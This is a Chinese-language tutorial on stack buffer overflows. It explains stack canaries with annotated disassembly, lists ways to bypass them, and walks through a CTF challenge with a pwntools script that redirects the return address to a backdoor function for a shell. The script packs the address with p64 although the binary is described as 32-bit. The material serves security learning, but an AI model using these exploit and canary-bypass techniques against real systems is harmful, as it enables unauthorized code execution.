栈溢出基础
之前已经介绍了C语言函数调用栈,本文将正式介绍栈溢出攻击。
当函数调用结束时,将发生函数跳转,通过读取存放在栈上的信息(返回地址),跳转执行下一条指令。通过栈溢出的方式,可以将返回地址覆盖为攻击指令的地址,这样函数调用结束后,将跳转到攻击指令继续执行。
Stack Canary
canary是可以比矿工更早发现煤气泄露的金丝雀,有预警作用。canary是栈上的一个随机数,在程序启动时生成并保存在比函数返回地址更低的位置。由于栈溢出是从低地址向高地址覆盖,所以要想覆盖到返回地址,则必须先覆盖canary。
看一个存在栈溢出可能性的C语言代码canary.c:
// canary.c # include <stdio.h> int main(void) { char buf[10]; scanf("%s", buf); return 0; }
将canary.c正常编译成64位程序canary64,用checksec检查会发现已经开启了栈保护(Stack: Canary found),这时,如果出现栈溢出,则程序会抛出错误stack smashing detected
。如果不想启用栈溢出保护,可以在编译时加上选项-fno-stack-protector
。我们用gdb查看一下canary64的部分反汇编代码。
0x555555555169 <main> endbr64 0x55555555516d <main+4> push rbp 0x55555555516e <main+5> mov rbp, rsp 0x555555555171 <main+8> sub rsp, 0x20 0x555555555175 <main+12> mov rax, qword ptr fs: [0x28] ; 取出canary,放入rax中 0x55555555517e <main+21> mov qword ptr [rbp - 8], rax ; 将rax中存放的canary放到栈[rbp - 8]的位置 0x555555555182 <main+25> xor eax, eax 0x555555555184 <main+27> lea rax, [rbp - 0x12] ; 从[rbp - 0x12]开始存放输入数据,这些数据从低地址向高地址存放 0x555555555188 <main+31> mov rsi, rax 0x55555555518b <main+34> lea rdi, [rip + 0xe72] 0x555555555192 <main+41> mov eax, 0 0x555555555197 <main+46> call __isoc99_scanf@plt <__isoc99_scanf@plt> 0x55555555519c <main+51> mov eax, 0 0x5555555551a1 <main+56> mov rdx, qword ptr [rbp - 8] ; 将canary取出,放入rdx中 0x5555555551a5 <main+60> xor rdx, qword ptr fs:[0x28] ; 将rdx中存放的canary与原先的值进行比较,如果不同说明发生了栈溢出,调用__stack_chk_fail处理 0x5555555551ae <main+69> je main+76 <main+76> 0x5555555551b5 <main+76> leave 0x5555555551b6 <main+77> ret
关于canary的内容已经在上面的反汇编代码中以注释的形式说明了。在Linux中,fs寄存器被用于存放线程局部存储(Thread Local Storage,TLS),TLS主要是为了避免多个线程同时访问同一全局变量或者静态变量时导致的冲突。如果是64位程序,canary在fs:[0x28]的位置;如果是32位程序,canary在fs:[0x14]的位置。在函数开始时,从fs寄存器中取出canary,存放到栈中,在函数返回前,从栈中取回canary,与fs寄存器里的值对比,如果不同说明发生了栈溢出。
Stack Canary绕过
-
格式化字符串绕过canary
通过格式化字符串读取canary的值 -
canary爆破(针对有fork函数的程序)
fork相当于自我复制,每一次复制出来的进程,内存布局是一样的,当然canary也是一样。我们可以逐位爆破,如果程序崩溃说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。 -
stack samshing
故意触发canary_ssp leak -
劫持__stack_chk_fail
修改got表中__stack_chk_fail函数的地址,在栈溢出后执行该函数,但由于该函数地址被修改,所以程序会跳转到我们想要执行的地址。
简单的栈溢出题目
下面介绍一个简单的栈溢出题目,pwn_level1,题目来自Charlie的博客,感谢大佬。
首先用checksec检查一下,发现是32位程序,没有开启栈溢出保护,这也就意味着当栈溢出时不会被识别出来。用chmod给程序添加执行权限,运行一下,我们输入一些内容,然后程序就结束了。
接着把程序放到IDA Pro 32中分析,可以看到main函数调用了vulnerable_function函数,在这个函数中定义了一个长度为9的buf,但是read读取时却可以读取0x100字节数据,这显然会出现栈溢出。
用什么数据来填充输入使得栈溢出呢?栈溢出攻击的方法是用攻击指令地址来覆盖原先的正常返回地址,我们可以看到程序中还存在backdoor函数,这个函数的作用是获取shell,显然我们需要把函数在栈上的返回地址修改为backdoor函数的地址,通过IDA Pro可以看到这个函数的地址是0x804849A。
下面是vulnerable_function函数调用read函数时,栈上的参数。buf是缓冲区,r是返回地址,从缓冲区到返回地址有13个字节,因此,我们构建的payload需要先填充这13个字节,然后把返回地址覆盖成backdoor函数的地址。
具体的攻击脚本如下:
# pwn_level1_exp.py from pwn import * p = process("./pwn_level1") # 启动进程 backdoor = 0x804849A # backdoor函数地址 str = 'a' * 13 # 13个字节的填充值 payload = str.encode() + p64(backdoor) # 构建payload,p64用于将int转成bytes p.recvuntil(b"try to stackoverflow!!n") # 当收到“try to stackoverflow!!n”,由于程序是用put输出,默认有换行符 p.sendline(payload) # 发送payload p.interactive() # 交互
由于我用的是python3,与之前python2的脚本是不同的。python3严格区分string和bytes,而sendline的参数是bytes类型,所以构建的payload也应该是bytes类型。p64转换的返回值就是bytes类型,需要将之前的填充字符也转成bytes类型(str.encode()
)。recvuntil接收的也是bytes类型。
运行攻击脚本,即可获取shell,攻击成功。
参考资料
星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)
Charlie的博客: https://ch4r1l3.github.io/2018/07/20/pwn从入门到放弃第五章——最简简简简简简单的栈溢出/
pwntools官方文档:http://docs.pwntools.com/en/latest/